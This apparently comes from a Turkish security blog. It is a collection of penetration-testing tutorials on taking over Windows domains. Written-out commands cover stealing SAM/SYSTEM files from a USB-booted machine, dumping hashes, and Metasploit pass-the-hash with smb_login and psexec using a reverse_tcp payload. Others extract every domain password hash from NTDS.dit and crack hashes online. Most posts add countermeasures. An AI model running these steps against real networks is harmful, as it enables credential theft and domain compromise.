hash etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster
hash etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster

7 Şubat 2014 Cuma

Etki Alanı ve Son Kullanıcıları Sızma Testi Metodolojisi

Etki Alanı ve Son Kullanıcıları Sızma Testi Metodolojisi

Microsoft domainin kullanıldığı sistemlerde yerel yönetici hesaplarına çok fazla ihtiyaç olmamakla birlikte, gerek sistem destek elemanları tarafından olsun, gerekse yerel yönetici haklarına ihtiyaç duyan yazılım geliştiriciler veya benzeri kullanıcılar tarafından olsun, bu hesaplar hâlâ kullanılabilmektir. Yerel yönetici hesapları ile çalışan bir kullanıcının hakları ile bir makineye sızıldığı takdirde, bu makinede normal kullanıcılar tarafından mümkün olmayan birçok saldırı gerçekleştirilebilmektedir. Örneğin; makinedeki şifre özetlerinin alınabilir veya o makinede oturumu halen aktif olan hesapların hakları kullanılabilir. Bu sebeple bir bilgisayarda yerel yönetici haklarının ele geçirilmesi sızma testi için oldukça önemlidir.

Kurumlarda yönetim kolaylığı için veya varsayılan ayar olarak kaldığı için birçok yerel yönetici hesabının ismi ve şifresi diğer birçok kullanıcı bilgisayarında da aynı olabilmektedir. Sonuç olarak bir makineden ele geçirilen yerel yönetici şifre özetleri, aynı şifreyi kullanan diğer bütün makineleri ele geçirmek amacıyla kullanılabilmektedir. Bu sebeple aynı parola özetlerinin kullanılması sızma testi için oldukça önemlidir.

Etki alanı ve son kullanıcıları bilgisayarları sızma testlerindeki hedef - aynı şifreyi kullanan diğer bütün bilgisayarları ele geçirmekten ziyade - domain admin kullanıcısının şifresini/biletini elde etmek ve/veya domain controller makinesine yetkili kullanıcı ile erişebilmektir. Domain yöneticisi hesapları, domaine dâhil makinelerde yüksek yetkilere sahip olmalarından dolayı kritik hesaplardır. Herhangi bir şekilde ele geçirilen bir domain yöneticisi hesabının sahip olduğu hakları kullanılarak domaine dâhil bütün sunuculara ve kullanıcı makinelerine erişilebilir. Bu erişim sonucunda bütün domain kullanıcılarının parolaları veya parola özetleri alınabileceği gibi,  ele geçirilen makinelerde; kritik bilgi içeren dosyaların incelenmesi, iletişim hattının kaydedilmesi, “key logger” çalıştırma gibi saldırılar da mümkündür. Bu saldırıların sonucunda daha kritik olan gizli bilgilere erişilebilmesi an meselesidir.

Etki alanı ve son kullanıcıları sızma testinin metodolojisi temel olarak aşağıdaki gibidir:


Etki alanı ve son kullanıcıları bilgisayarları sızma testi için akış şeması

Akış şemasının özetle şu şekildedir:

0-1-2-3) Bir makinedeki açıklıktan faydalanarak, o makinenin yerel yöneticiye ait hesap bilgileri ele geçirilir. Bu hesap bilgileri kullanıcı adı ve o kullanıcıya ait şifre ve/veya şifrenin özetidir.
4-7-8) Bu makineden domain hakkında bilgi edinilir. Bu makinedeki yerel kullanıcının hesap bilgileri ile domaindeki diğer makinelere sızılır.
5-6) Sızılan makinelerde domain yöneticisi veya domain üzerinde yetkili kullanıcıya ait şifre, şifre özeti veya bilet aranır.

Bu adımların nasıl gerçekleştirildiği hakkında ayrıntılı bilgi aşağıdaki sayfalar izlenerek edinilebilir:
0 - Makineye Fiziksel Olarak Erişerek CD/USB'den Boot Edilmesi
http://ertugrulbasaranoglu.blogspot.com.tr/2012/12/ipucu-makineye-fiziksel-olarak-eriserek.html
1 - Zafiyet Taramasının Gerçekleştirilmesi
http://ertugrulbasaranoglu.blogspot.com.tr/2012/12/ipucu-zafiyet-taramasnn.html 
2 - Zafiyetin Kullanılarak Bir Bilgisayara Sızılması
http://ertugrulbasaranoglu.blogspot.com.tr/2013/08/ipucu-zafiyetin-kullanlarak-bir.html 
3 - Yerel Yöneticilere Ait Şifre Özetlerinin Ele Geçirilmesi
http://ertugrulbasaranoglu.blogspot.com.tr/2013/09/ipucu-yerel-yoneticilere-ait-sifre.html 
4 - Hedef Makineden Sistem ve Domain Hakkında Bilgi Edinme
http://ertugrulbasaranoglu.blogspot.com.tr/2012/12/ipucu-ms08-067-zafiyetinin-kullanlmas.html
7 - smb_login Modülü ile Yayılabilecek Makinelerin Belirlenmesi
http://ertugrulbasaranoglu.blogspot.com.tr/2013/10/ipucu-smblogin-modulu-ile-yaylabilecek.html
8 - psexec Modülü ile Yeni Makinelerde Oturumun Açması
http://ertugrulbasaranoglu.blogspot.com.tr/2013/10/ipucu-psexec-modulu-ile-yeni.html
5 - Yüksek Yetkili Kullanıcı Haklarının İncelenmesi
http://ertugrulbasaranoglu.blogspot.com.tr/2013/10/ipucu-yuksek-yetkili-kullanc-haklarnn.html
6 - Domainde Yetkili Kullanıcının Haklarına ve Şifresine Sahip Olma
http://ertugrulbasaranoglu.blogspot.com.tr/2013/10/ipucu-domainde-yetkili-kullancnn.html
Her bir sayfada gerçekleştirilen adımın amacı, yöntemi ve bu saldırı adımından korunulması için gerçekleştirilmesi gerekilen önlemler belirtilmiştir.Etki alanı ve son kullanıcılarına karşı gerçekleştirilen saldırılardan ve sızma testinden korunmak için alınması gerekilen önlemler için bakınız.

Etki alanı sızma testi ile ilgili örnek bir senaryo için tıklayınız.

3 Ekim 2013 Perşembe

İpucu: psexec Modülü ile Yeni Makinelerde Oturumun Açması

psexec  Modülü ile Yeni Makinelerde Oturumun Açması

Amaç
Organizasyondaki - yerel kullanıcısı ve şifresi / şifre özeti bilinen - diğer makinelerde oturum açılacaktır.

Yöntem
Bir önceki yazıda smb_login modülü ile girilebilecek bilgisayarlar tespit edilmişti. Bu adımda ise psexec modülü ile giriş denemesi yapılacaktır.
psexec modülü incelenir:
search psexec
use exploit/windows/smb/psexec
show options
psexec modülünün incelenmesi

Seçilen modül hakkında ayrıntılı bilgi elde edinilebilir:
info exploit/windows/smb/psexec
psexec modülü hakkında ayrıntılı bilginin listelenmesi

Seçenekler uygun şekilde ayarlanır:
set RHOST 192.168.172.243
set SMBPass aad3b435b51404eeaad3b435b51404ee:da8aef7a322d9ecf8d1d7e220f837176
set SMBUser administrator
set PAYLOAD windows/meterpreter/reverse_tcp
show options
psexec modülünün düzenlenmesi

Not: Domainde ilk olarak girdiğimiz bilgisayarda, "net share" komutu çalıştırıldığında “ADMIN$” paylaşımının açık olduğunu gördüğümüz için, SHARE seçeneğini aynen bırakabiliriz.

Modülü çalıştırmak için ve elde edilen bağlantıları listelemek için aşağıdaki komutlar kullanılır :
exploit
sessions -l
psexec modülü ile exploit işleminin gerçekleştirilmesi

Not: PsExec bir çok AV tarafından tespit edilebilmektedir. Bu sebeple, bağlantıda belirtildiği gibi WCE aracı kullanılarak da hedef sistemin dosya sistemine erişilebilir, bağlantıdaki gibi WCE & MS psexec aracı kullanılarak Windows ve Meterpreter komut satırları elde edilebilir, bağlantıdaki gibi MSF psexec_command modülü kullanılarak Meterpreter komut satırı elde edilebilir, bağlantıdaki gibi Kali pth-winexe aracı kullanılarak Windows ve Meterpreter komut satırları elde edilebilir.

Not: MSF PsExec modülü çalıştırıldığında gerçekleşebilecek hatalar için bakınız.

Önlem
  • Önceki adımlarda belirtilen önlemler alınmalıdır.


2 Ekim 2013 Çarşamba

İpucu: smb_login Modülü ile Yayılabilecek Makinelerin Belirlenmesi


smb_login Modülü ile Yayılabilecek Makinelerin Belirlenmesi

Amaç
  • Port taraması ile SMB (Server Message Block protokolü) dosya paylaşımını sağlayan TCP 445. portu açık olan makineler bulunacaktır.
  • Elde edilen bir yerel kullanıcı hesap bilgilerinin, organizasyondaki diğer makinelerde de yetkili olup olmadığı belirlenecektir.

Yöntem
Önceki adım ile elimizde sadece bir makinede yerel yönetici hesabı dahil olmak üzere yerel kullanıcı hesaplarına ait şifrenin özeti bulunmaktadır:

Hedef makinedeki kullanıcıların şifre özetlerinin listelenmesi

Bu özet halindeki şifreyi ve Administrator (yerel yönetici) kullanıcısı kullanarak, diğer makinelere de girilmeye ve böylece organizasyondaki diğer makinelere yayılım gerçekleşecektir. Yayılım işlemi; port taraması yapıldıktan sonra veya direk olarak zafiyetle ilgili modül kullanılarak gerçekleştirilebilir.
SMB dosya paylaşım portu (TCP/445) açık olan makinelerin bulunması nmap komutu ile (veya Zenmap kullanarak) gerçekleştirilebilir:
nmap –Pn –sT –p 445 192.168.172.0/24 --open
nmap komutu ile 445. portu açık olan makinelerin tespit edilmesi

Büyük bir ağda çok uzun bir sonuç gelebileceğinden sadece IP’lerin alınmasını isteyebiliriz. Bunun için düzenli ifadeler (regex) kullanılabilir:
nmap –Pn –sT –p 445 192.168.172.0/24 --open | grep -oE '.*((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])'
veya
nmap –Pn –sT –p 445 192.168.172.0/24 --open | grep –oE '[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}'
veya
nmap –Pn –sT –p 445 192.168.172.0/24 --open | grep –oE ‘[0-9]{1,3}[\.]'
nmap komutu ile 445. portu açık olan makinelerin listelenmesi

SMB dosya paylaşımı açık olan IP'ler bulunduktan sonra sadece bu makinelere sızılmaya çalışılabildiği gibi, tüm ağdaki makineler için de sızma işlemi denemesi yapılabilir.
Sızma işlemini deneyeceğimiz makinelerde, hashdump ile şifresinin özetini elde ettiğimiz yerel yönetici hesabı ile aynı şifreyi kullanan kullanıcılar araştırılır:
search smb_login
use auxiliary/scanner/smb/smb_login
show options
smb_login modülünün incelenmesi

Seçenekler uygun şekilde ayarlanır:
set BLANK_PASSWORDS false
set RHOST 192.168.172.0/24
set SMBPASS aad3b435b51404eeaad3b435b51404ee:da8aef7a322d9ecf8d1d7e220f837176
set SMBUSER administrator
set THREADS 15
set USER_AS_PASS false
smb_login modülünün düzenlenmesi

Exploit işlemi gerçekleştirilir:
exploit
SUCCESSFUL LOGIN sonucunu dönenler "administrator" kullanıcısına ait şifrenin özeti, elimizdeki özet değer ile aynı olan makinelerdir:
smb_login kontrolünde başarılı dönen sonuç örneği

Not: FAILED LOGIN sonucunu dönenler ise başarısız exploit denemeleridir:
smb_login kontrolünde başarısız dönen sonuç örneği

Not: smb_login modülü yerine hedef odaklı olarak smb_enumusers_domain modülü de kullanılabilir. Bu modülle ilgili ayrıntılı bilgi için bakınız:
http://ertugrulbasaranoglu.blogspot.com.tr/2013/11/ipucu-smbenumusersdomain-modulu-ile.html

Önlem

  • Ağ üzerinde kurallar tanımlayarak; belirlenen IP’lere, belirlenen portlardan kontrollü bir şekilde izin verilmelidir.
  • “administrator” gibi varsayılan yerel yönetici hesaplarının isminin değiştirilmelidir. Böylece yapılacak birçok saldırıda yerel yönetici hesabının isminin kolayca ve otomatik olarak bulunmasını zorlaştıracaktır.
  • Organizasyondaki makinelerde bulunan yerel kullanıcıların şifreleri farklı ayarlanmalıdır.
  • Yerel yönetici hesaplarının şifreleri,  şifre kırma saldırılarına karşı korumak amacıyla karmaşık seçilmelidir.
  • Kullanılmayan ve ihtiyaç duyulmayan yerel yönetici hesapları kaldırılmalı veya devre dışı bırakılmalıdır.


28 Eylül 2013 Cumartesi

İpucu: Yerel Yöneticilere Ait Şifre Özetlerinin Ele Geçirilmesi


Yerel Yöneticilere Ait Şifre Özetlerinin Ele Geçirilmesi

Amaç
  • Yerel kullanıcılara ait şifre özetleri elde edilecektir.
Yöntem
Önceki bir yazıda mevcut zafiyet kullanılarak hedef makineye SYSTEM olarak giriş yapılmıştır. Bu kullanıcı hakları ile SAM/SYSTEM dosya bilgileri elde edilebilir. Hedef bilgisayarın konsoluna geçilebilir.

getuid
hashdump
shell

Şekil: Hedef makinedeki yerel kullanıcıların şifre özetlerinin elde edilmesi ve makinenin kabuğuna geçilmesi

Hashdump ile ilgili ayrıntılı bilgi ve alınabilecek hata mesajları için bakınız.

Önlem

  • Makineye SYSTEM hakları ile sızıldıktan sonra, yerel kullanıcılara ait şifre özetleri elde edilebilecektir. Bu sebeple önceki adımların gerçekleştirilememesi için önlem alınmalıdır.
  • Bu adımda elde edilen yerel kullanıcılara ait şifre özetleri, diğer makinelere erişim için kullanılacağından, organizasyondaki makinelerde bulunan yerel yönetici şifrelerinin farklı olması sağlanmalıdır.

15 Ağustos 2013 Perşembe

İpucu: Yerel Hesap Bilgilerinin Çevrimiçi Olarak Elde Edilmesi

İpucu: Yerel Hesap Bilgilerinin Çevrimiçi Olarak Elde Edilmesi


Yerel kullanıcıların hesap bilgileri bilgisayar kapalı halde iken harici bir aygıt (USB/ CD / DVD) kullanılarak elde edilebilir. Ayrıntılı bilgi için bakınız:
http://ertugrulbasaranoglu.blogspot.com/2012/12/ipucu-makineye-fiziksel-olarak-eriserek.html
SAM ve SYSTEM dosyaları bilgisayar açık halde iken Cain&Abel gibi bir uygulama ile de elde edilebilir. Bu işlemi gerçekleştirebilmek için bilgisayar üzerinde yönetici haklarına sahip olmak gerekmektedir.

Öncelikle Cain & Abel isimli uygulama çalıştırılır, “Cracker” sekmesine tıklanır ve “+” ikonuna tıklanır.
Şekil - 1: Cain & Abel ile Cracker Adımı

Böylece yerel kullanıcı hesap özetleri elde edilir. Bu aşamaya ait ekran görüntüsü aşağıda verilmiştir.
Şekil - 2: Cain & Abel ile Yerel Kullanıcı Hesap Özetlerinin Ele Geçirilmesi

Bu aşamadan sonra ait hesap özetleri üzerinde sağ tıklanarak export işlemi yapılır ve oluşturulan dosya notepad ile açılarak “zayifKullanici” ya ait hesap özet bilgisinin NT Hash tarafı kopyalanır.
Şekil - 3: Yerel Kullanıcı Hesap Özetlerine Ait Çıktının Elde Edilmesi

Not: Windows 7 makinelerde varsayılan olarak LM özet tutulmamaktadır. LM özeti çok daha kolay bir şekilde kırılabilmektedir.

Web üzerinde bir çok sitede online olarak NT özetleri kırılmaktadır. Bu sitelerden bir tanesi de www.md5decrypter.co.uk adresli olanıdır. Bu siteye girerek kullanıcıya ait NT Hash bilgisi aşağıdaki resimdekine benzer şekilde girilirse, kullanıcıya ait açık parola bilgisi elde edilecektir.
Şekil - 4: Kullanıcıya Ait Açık Parola Bilgisinin Web Üzerinden Elde Edilmesi

26 Temmuz 2013 Cuma

Post Exploitation: Etki Alanındaki Bütün Kullanıcıların Parola Özetlerinin Elde Edilmesi

Post Exploitation: Etki Alanındaki Bütün Kullanıcıların Parola Özetlerinin Elde Edilmesi


Sızma testi sırasında DC ele geçirildikten sonra gerçekleştirilecek adımlardan birisi etki alanındaki tüm kullanıcıların parolasının elde edilmesi gerekebilir. Bu amaçla, MSF smart_hashdump modülü kullanılabilir. Ancak DC gibi kritik bir makineye MSF ile bağlanmak istenmeyen şeylere sebep olabilir. Bu sebeple, sisteme daha az zarar verme ihtimali olan yöntemler kullanılması gerekebilir.

Bu yazıda DC'ye yetkili kullanıcı hakkı ile erişim elde ettikten sonra, NTDS.dit ve SYSTEM dosyaları elde edilecek ve daha sonra da kullanıcı parolalarının özeti elde edilecektir.

1) NTDS.dit ve SYSTEM Dosyalarının Elde Edilmesi

Etki alanı nesnelerine ait bilgiler temel olarak NTDS.dit dosyasında bulunmaktadır diyebiliriz. Bu dosya da SYSTEM dosyasındaki bir anahtarla (SYSKEY) şifrelenmiştir. Bu 2 dosya elde edilirse, etki alanındaki kullanıcıların parola özetleri elde edilebilir. Ancak bu 2 dosyaya erişim işletim sistemi tarafından engellenmiştir. Bu amaçla, Volume Shadow Copy kullanılabilir.

Shadow kopya oluşturmak için, öncelikle, işletim sisteminin kurulu olduğu ve NTDS.dit dosyasının tutulduğu disk'te "Configure Shadow Copies..." seçimi yapılır.


Sonrasında seçilen alan Shadow kopya oluşturma özelliği aktifleştirilir.


Uyarı mesajı gelirse, bu mesaj onaylanır.


Böylece ilk kopya oluşturulmuştur:


Shadow kopya oluşturma işlemi "Disable" butonu ile iptal edilebilir veya Setting butonu ile konfigüre edilebilir.


Oluşan Shadow kopya içerisinden NTDS.dit ve SYSTEM dosyalarını elde etmek için öncelikle tüm shadow kopyalar listelenir:
vssadmin.exe list shadows


Bu örnekte tek bir kere Shadow kopyası oluşturulduğu için, bir adet Shadow kopya listenmiştir. Bu dizin "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1" olarak belirtilmiştir. En sondaki ID değeri her Shadow için bir artacaktır.

Bu Shadow kopya içerisindeki NTDS.dit ve SYSTEM dosyaları herhangi bir yere (C:\Users\Administrators\Desktop gibi) kaydedilebilir.
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit C:\Users\Administrator\Desktop
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\config\SYSTEM C:\Users\Administrator\Desktop


Elde edilen bu dosyalar Kali bir makinenin üzerine alınabilir. Ancak etki alanında çok fazla nesnenin olması bu dosyaların boyutunun artmasına sebep olacaktır. Bu durum da ağ üzerinde anormallik tespiti yapan ürünlerin (ADS gibi) alarm üretmesine sebep verebilir.



Not: DC'nin arayüzüne erişmeden, komut satırını kullanılarak da Shadow kopya elde edilebilir:
vssadmin create shadow /for=c:


Not: SYSTEM dosyası komut satırından ele geçirmek için Shadow kopyası oluşturmaya gerek yoktur. Aşağıdaki komutun çalışması yeterlidir:
reg SAVE HKLM/SYSTEM C:\SYSTEM_Dosyasi


Bu dosyalar Kali bilgisayarın root masaüstüne kaydedilir.

2) Elde Edilen Dosyalardan Etki Alanındaki Kullanıcıların Parola Özetlerinin Elde Edilmesi


Bu başlıkta, kopyalanan NTDS.dit ve SYSTEM dosyaları kullanılarak, etki alanındaki kullanıcı parolaları elde edilecektir. Bu amaçla önce NTDS.dit veritabanından ilgili tablolar çekilecek, daha sonra da bu tablolardan istenen hesap bilgileri çekilecektir. Bu işlem için Google Code üzerindeki "libesedb" aracı kullanılabilir.


Harici linke erişildiğinde araç görülmektedir:


Araç Kali üzerine indirilir.
wget https://255adcba056b7d59fd55a94f0ea02de0cf110bfb.googledrive.com/host/0B3fBvzttpiiSN082cmxsbHB0anc/libesedb-alpha-20120102.tar.gz --no-check-certificate



Sıkıştırılmış dosya çıkarılır.
gunzip libesedb-alpha-20120102.tar.gz
tar -xvf libesedb-alpha-20120102.tar


Konfigürasyon işlemi gerçekleştirilir.
ls
cd libesedb-20120102/
ls
ls -la configure
chmod +x configure
ls -la configure
./configure && make


Sonrasında da esedbtools/ klasörüne girilerek /root/Desktop dizinine koyulan ntds.dit dosyasındaki tablolar dışarıya aktarılır.
cd esedbtools/
ls
./esedbexport /root/Desktop/ntds.dit


Dışa aktarım sonrası durum aşağıdaki gibidir:
ls
cd ntds.dit.export/
ls


Daha sonra dışa aktarılan tabloları kullanarak etki alanındaki kullanıcıların parolalarını elde etmek için NTDSXTRACT aracının ana sayfasına girilir.


Aracın 1.0 sürümü indirilir
cd /root/
wget http://www.ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_0.zip
ls
unzip ntdsxtract_v1_0.zip


Amaç, etki alanı kullanıcılarının parola özetini almak olduğu için dsusers.py betiği kullanılacaktır. Bu betik parametre olarak NTDS.dit içerisinden çıkartılmış olan veri tablosunu ve link tablosunu almakta, ayrıca SYSTEM hive dosyasını da kullanmaktadır.
ls
cd NTDSXtract\ 1.0/
ls
python ./dsusers.py /root/libesedb-20120102/esedbtools/ntds.dit.export/datatable.3 /root/libesedb-20120102/esedbtools/ntds.dit.export/link_table.5 --passwordhashes /root/Desktop/SYSTEM


Böylece etki alanındaki kullanıcıların parola özetleri bu şekilde elde edilmiştir.

14 Haziran 2013 Cuma

Procdump ve Mimikatz ile LSASS İçerisinden Oturum Açan Kullanıcıların Parolalarını Elde Etme

İpucu: Procdump ve Mimikatz ile LSASS İçerisinden Oturum Açan Kullanıcıların Parolalarını Elde Etme

Mimikatz bir prosesin (içerisinde kimlik bilgileri barındıran LSASS.exe) içinden logon olmuş kullanıcıların parolalarını çekebilmektedir. Böylece oturum açılabilen ama AV gibi engelleyici sistemler yüzünden mimikatz/wce çalıştırılamayan makinelerde proses içerisinden bu kimlik bilgileri elde edilebilir.

Yazının devamı için:
http://www.siberportal.org/red-team/windows-operating-system-penetration-tests/obtaining-clear-text-password-from-lsass-dump-file-that-is-stolen-from-network-drive-mapping-using-mimikatz-tool/
ve
http://www.siberportal.org/red-team/windows-operating-system-penetration-tests/obtaining-clear-text-password-from-lsass-dump-file-that-is-stolen-from-remote-windows-computers-command-line-using-mimikatz-tool/



1 Aralık 2012 Cumartesi

İpucu: Makineye Fiziksel Olarak Erişerek CD/USB'den Boot Edilmesi


Makineye Fiziksel Olarak Erişerek CD/USB'den Boot Edilmesi

Amaç
BIOS koruması olmayan bir son kullanıcı makinesi, USB den çalışan bir işletim sistemi ile başlatılarak makinedeki yerel kullanıcıların şifreleri ve/veya şifrelerinin özeti elde edilecektir.

Yöntem
Son kullanıcı bilgisayarları farklı bir işletim sistemi ile açılabildiği takdirde bu bilgisayarlara ve bu bilgisayardaki verilere tam yetki ile erişim mümkün olmaktadır.
Fiziki olarak sahip olduğumuz makine - boot edilebilir bir Backtrack USB veya CD'si kullanılarak - boot edilir. Backtrack arayüzünden fiziksel makinenin hard diskine geçilir:
cd media/ ls -la
cd C6FA48EAFA48D877/
ls -la
USB/CD kullanılarak boot edilen makinenin hard diskine erişilmesi

Not: Eğer boot edilen bilgisayarın disk sistemi otomatik olarak mount edilememişse, önce mount edilebilecek disk bölümleri listelenir; daha sonra da bir klasöre, C diski mount edilir. Bu işlemler aşağıdaki komutlarla gerçekleştirilebilir:
fdisk -l
mkdir /root/YeniKlasor
mount /dev/sda3 /root/YeniKlasor


Fiziksel makinenin Windows/System32/config dizininden SAM ve SYSTEM dosyaları boot edilen sistemin bir dizinine konur:
cd Windows/System32/config 
cp SAM /root/Desktop 
cp SYSTEM /root/Desktop

Makinenin SAM ve SYSTEM dosyalarının makinemize komut satırı ile kopyalanması

Not: Windows makineden SAM ve SYSTEM dosyalarının alınması işlemi, Windows makinenin hard diskine girilip, sürükle bırak yöntemi ile de gerçekleştirilebilirdi.
Makinenin SAM ve SYSTEM dosyalarının makinemize arayüz ile kopyalanması

SAM ve SYSTEM dosyalarından yerel kullanıcıların şifrelerinin özeti elde edilebilir:
bkhive SYSTEM SAMAnahtari
samdump2 SAM SAMAnahtarı
samdump2 komutu ile yerel kullanıcı şifre özetlerinin elde edilmesi

Not: bkhive komutuna verilen SYSTEM dosyası Windows işletim sisteminden alınmıştır. bkhive komutu SYSTEM dosyasını kullanarak bir çıktı üretmekte ve sonucunu SAMAnahtari adlı yeni bir dosyaya yazmaktadır. Bu dosya ismi rastgele olarak verilebilir. Ancak samdump2 aracına SAM dosyasına ek olarak yeni dosya adının verilmesi gerekmektedir.

Böylece önce bkhive ile veritabanını çözecek key oluşturmalı sonrasında oluşturulan key samdump2 programına verilmelidir.
Not: Bu çıktı bir dosyaya kaydedilip, daha sonra kullanılabilir.

Vista öncesi Windows işletim sistemlerinde kullanıcı şifreleri varsayılan ayarlarda iki farklı özetleme algoritması ile saklanmaktadır. Bunlardan ilki ve en eskisi LM (Lan Manager) özetleme, diğeri ise NTLM özetleme algoritmasıdır. LM özetleme algoritması ciddi güvenlik zafiyetleri içermektedir ve bu yüzden güncel teknolojik imkânlar (gökkuşağı saldırısı vs.) ile çok kısa sürede kırılabilmektedir. Fakat saldıralar için sadece NT özeti yeterlidir.

Not: Bu işlemler yerine Cain&Abel, Ophcrack gibi araçlar da SAM ve SYSTEM dosyasından parolanın özeti elde edilebilir.

Not: Fiziksel olarak erişim sağlanan bir bilgisayarda SYSTEM haklarına sahip olmak için diğer bir yöntem de Yapışkan Tuşlar Hilesi adı verilen bir hiledir. Daha sonra da bağlantıdaki gibi kayıt defterinden SAM ve SYSTEM dosyaları elde edilir.

Kimlik doğrulamasını atlatmanın diğer yolları için bakınız:
http://ertugrulbasaranoglu.blogspot.com.tr/2012/11/logon-authentication-bypass-senaryolar.html

Önlem
  • Makineler CD-ROM / USB yolu ile boot edilememelidir. BIOS ayarlarından CD-ROM / BIOS yolu ile boot işlemi iptal edilmelidir. Makinenin öncelikle harddisken başlaması için gerekli ayarlar yapılmalıdır. 
  • BIOS ayarı yapılmaya çalışılırken şifre sorgulaması yapılmalıdır. 
  • Makinelerde diskler tamamen şifrelenmelidir (Full Disk Encryption). Bu şekilde makine boot edilse bile SAM/SYSTEM dosyaları elde edilemeyecektir. 
  • Makinelerde LM özetlerinin saklanmamalıdır.

26 Ekim 2012 Cuma

İpucu: WCE'den Kaçınma Yöntemi

WCE'den Kaçınma Yöntemi
Ön Araştırma
Microsoft'a göre bilgisayarlarda, LM saklanmaması için yapılacak 4 temel yöntem varmış:
  • Network security: Do not store LAN Manager hash value on next password change --> Enable olmalı.
  • Network security: LAN Manager authentication level --> Send NTLMv2 response only\refuse LM & NTLM olmalı.
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\NoLMHash --> 1 olmalı.
  • Parola uzunluğu 14 karakterden daha uzun olmalı.
Kaynak site:
http://support.microsoft.com/kb/299656

Kıssa
Bir bilgisayarda (W7 Enterprise, SP1) bu ayarlamalar yapıldı:
Daha sonra aşağıdaki 3 senaryo denendi:
  • Parola uzunluğu 9 karakter olarak ayarlandı. WCE ile bu parola (Deneme123) açık olarak elde edilebildi:

  • Parola uzunluğu 19 karakter olarak ayarlandı. WCE ile bu parola (Deneme123Deneme123!) açık olarak elde edilebildi:
  • Parola uzunluğu 10 karakter (14 veya daha kısa) olarak ayarlandı. Parola oluşturulurken ALT tuşu ile kombinasyon oluşturulacak şekilde karakter de kullanıldı. WCE ile bu parola (Deneme123€) açık olarak elde edilemedi:
Kaynak site:
http://computer-forensics.sans.org/blog/2012/02/29/protecting-privileged-domain-accounts-lm-hashes-the-good-the-bad-and-the-ugly

Mimikatz
Aynı parola mimikatz ile kısmen yakalanabilmektedir:

Not: Eğer Windows komut satırı aracının font'u Lucida Console olarak ayarlanırsa, özel karakterler de düzgün olarak görüntülenebilir.

Hisse
WCE tarafından yakalanmamak için, ALT tuşu ile kombinasyon oluşturan parolalar kullanılmalıdır. Mimikatz tarafından yakalanmamak için ALT tuşu ile kombinasyon oluşturan farklı karakterler kullanılabilir. Bu karakterlerden bazıları şunlardır: '£', '%', '¨¨', '', 'æ', 'ß', '´´'

ALT tuşu ile kombinasyon oluşturan sayı listesi aşağıdaki gibidir:
http://tlt.its.psu.edu/suggestions/international/accents/codealt.html

ALT tuşu ile kombinasyon oluşturan sayıların kullanımı aşağıdaki gibidir:
http://www.youtube.com/watch?v=5SPlCJ3rwME

8 Ekim 2012 Pazartesi

Pentest Araçları


Sızma Testleri için kullanılabilecek araçlar

Password hashes dump tools
Kaynak site:
https://docs.google.com/spreadsheet/ccc?key=0Ak-eXPencMnydGhwR1VvamhlNEljVHlJdVkxZ2RIaWc#gid=0

Dump Windows password hashes efficiently (6 Parts)
Kaynak site:
http://bernardodamele.blogspot.ca/2011/12/dump-windows-password-hashes.html
http://bernardodamele.blogspot.ca/2011/12/dump-windows-password-hashes_16.html
http://bernardodamele.blogspot.ca/2011/12/dump-windows-password-hashes_20.html
http://bernardodamele.blogspot.ca/2011/12/dump-windows-password-hashes_21.html
http://bernardodamele.blogspot.ca/2011/12/dump-windows-password-hashes_28.html
http://bernardodamele.blogspot.ca/2011/12/dump-windows-password-hashes_29.html

Companies That Give Back with Free Tools
Kaynak site:
http://www.room362.com/blog/2012/6/20/companies-that-give-back-with-free-tools.html

mimikatz
Protecting Privileged Domain Accounts: Disabling Encrypted Passwords
Kaynak site:
http://blog.gentilkiwi.com/mimikatz
http://computer-forensics.sans.org/blog/2012/03/09/protecting-privileged-domain-accounts-disabling-encrypted-passwords
http://pauldotcom.com/2012/02/dumping-cleartext-credentials.html
http://cyberarms.wordpress.com/2012/04/16/remotely-recovering-windows-passwords-in-pl/
http://www.infosecisland.com/blogview/22398-Completely-In-memory-Mimikatz-with-Metasploit.html
http://www.slideshare.net/ASF-WS/asfws-2012-mimikatz-par-benjamin-delpy
http://blog.bga.com.tr/2013/01/mimikatz-ile-windows-sistemlerde.html
http://blogs.technet.com/b/security/archive/2012/12/11/new-guidance-to-mitigate-determined-adversaries-favorite-attack-pass-the-hash.aspx

Windows Credentials Editor (WCE)
Dumping Clear Text Passwords
Kaynak site:
http://www.ampliasecurity.com/research/wcefaq.html
http://www.ampliasecurity.com/research/WCE_Internals_RootedCon2011_ampliasecurity.pdf
http://e-spohn.com/blog/2012/07/06/dumping-clear-text-passwords/

Firefox Addons For Penetration Testing
Kaynak site:
http://pentestlab.wordpress.com/2012/08/12/firefox-addons-for-penetration-testing/?goback=%2Egde_100569_member_143704728

Hping network scanning and crafting tool.
Kaynak site:
http://hackinmania.blogspot.in/2012/07/hping-network-scanning-and-crafting.html

Hash <--> Password
Kaynak siteler:
https://www.objectif-securite.ch/ophcrack.php
http://www.md5decrypter.co.uk/ http://www.darknet.org.uk/2014/02/hash-identifier-identify-types-of-hashes-used-encrypt-passwords//

Sızma Testlerinden Korunma Yolları: Domain


Domain için Önlemler

Bilgisayarların CD/USB'den boot edilmesi önlenmelidir.
  • BIOS ayarlarından CD-ROM / BIOS yolu ile boot işlemi iptal edilmelidir. Makinenin öncelikle harddisken başlaması için gerekli ayarlar yapılmalıdır.
  • BIOS ayarı yapılmaya çalışılırken şifre sorgulaması yapılmalıdır.
  • Makinelerde diskler tamamen şifrelenmelidir(Full Disk Encryption). Bu şekilde makine boot edilse bile SAM/SYSTEM dosyaları elde edilemeyecektir.
  • Makinelerde LM özetlerinin saklanmamalıdır. En az NTLM şifreleme metodu kullanılmalıdır.

Ağ yapılandırması gözden geçirilmelidir.
  • Gerekli olmayan portlar ve servisler kapatılmalıdır.
  • Ağ üzerinde kurallar tanımlayarak; belirlenen IP’lere, belirlenen portlardan kontrollü bir şekilde izin verilmelidir.
